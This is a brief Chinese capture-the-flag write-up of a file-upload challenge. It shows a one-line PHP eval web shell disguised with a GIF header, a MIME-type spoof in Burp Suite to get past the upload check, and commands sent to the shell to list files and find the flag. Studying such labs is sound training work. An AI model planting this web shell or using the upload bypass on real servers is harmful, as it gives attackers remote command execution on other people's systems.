先尝试上传一句话,后端会提示文件类型不正确:

我们来编写一句话木马,命名为shell.php:
GIF8<?php @eval($_POST['banana']);?>
我们用 Burpsuite 拦截请求,修改 MIME 类型为image/png,放行:

然后题目显示上传成功:

我们访问 WebShell 的地址,用 Hackbar 发送 POST 命令:
banana=system('ls ..');

我们用蚁剑连接 WebShell(哥斯拉连不上图片马):

进入主机,发现 Flag 文件在/var/www/html/目录下:

打开即可得到 Flag:

